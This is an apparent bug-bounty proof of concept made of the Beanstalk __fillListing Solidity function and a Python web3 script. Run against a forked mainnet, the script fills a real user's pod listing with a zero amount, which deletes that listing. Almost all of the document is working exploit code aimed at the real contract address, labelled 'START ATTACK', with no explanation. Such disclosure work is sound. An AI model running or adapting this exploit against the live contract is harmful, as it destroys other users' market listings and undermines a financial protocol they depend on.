function __fillListing(
address to,
PodListing calldata l,
uint256 amount
) private {
// Note: If l.amount < amount, the function roundAmount will revert
if (l.amount > amount)
s.podListings[l.index.add(amount).add(l.start)] = hashListing(
0,
l.amount.sub(amount),
l.pricePerPod,
l.maxHarvestableIndex,
l.mode
);
emit PodListingFilled(l.account, to, l.index, l.start, amount);
delete s.podListings[l.index];
}
from web3 import Web3
import json
## ganache-cli --fork https://rpc.ankr.com/eth -u 0x785Fd2CDb69C5c67dFc2221900b871f89b20BA2c
if __name__ == "__main__":
######## ABIs ########
BEANSTALK_ABI_RAW = [
{
"inputs": [{"internalType": "uint256", "name": "index", "type": "uint256"}],
"name": "podListing",
"outputs": [{"internalType": "bytes32", "name": "", "type": "bytes32"}],
"stateMutability": "view",
"type": "function",
},
{
"inputs": [
{
"components": [
{
"internalType": "address",
"name": "account",
"type": "address",
},
{"internalType": "uint256", "name": "index", "type": "uint256"},
{"internalType": "uint256", "name": "start", "type": "uint256"},
{
"internalType": "uint256",
"name": "amount",
"type": "uint256",
},
{
"internalType": "uint24",
"name": "pricePerPod",
"type": "uint24",
},
{
"internalType": "uint256",
"name": "maxHarvestableIndex",
"type": "uint256",
},
{
"internalType": "enum LibTransfer.To",
"name": "mode",
"type": "uint8",
},
],
"internalType": "struct Listing.PodListing",
"name": "l",
"type": "tuple",
},
{"internalType": "uint256", "name": "beanAmount", "type": "uint256"},
{
"internalType": "enum LibTransfer.From",
"name": "mode",
"type": "uint8",
},
],
"name": "fillPodListing",
"outputs": [],
"stateMutability": "payable",
"type": "function",
},
]
######## Initial Setup ########
rpc = "http://127.0.0.1:8545"
web3 = Web3(Web3.HTTPProvider(rpc))
listing_owner = "0x57B649E1E06FB90F4b3F04549A74619d6F56802e"
listing_index = 65961902893995
listing_start = 0
listing_amount = 72176750090
listing_price_per_pod = 680000
listing_max_harvestable_index = 65961902893995
listing_mode = 0
## Random address with Ether
attacker = "0x785Fd2CDb69C5c67dFc2221900b871f89b20BA2c"
## Beanstalk Contract
beanstalk_address = "0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5"
beanstalk_ABI = json.loads(json.dumps(BEANSTALK_ABI_RAW))
beanstalk = web3.eth.contract(address=beanstalk_address, abi=beanstalk_ABI)
######## Start Exploit ########
print("STARTING ATTACK.", end="\n\n")
print("Checking listing exists.")
print(beanstalk.functions.podListing(listing_index).call(), end="\n\n")
print("Filling order.")
listing_struct = [
listing_owner,
listing_index,
listing_start,
listing_amount,
listing_price_per_pod,
listing_max_harvestable_index,
listing_mode,
]
beanstalk.functions.fillPodListing(listing_struct, 0, 1).transact(
{"from": attacker}
)
print("Order filled with 0 amount.", end="\n\n")
print("Checking listing exists.")
print(beanstalk.functions.podListing(listing_index).call(), end="\n\n")
print("END ATTACK.")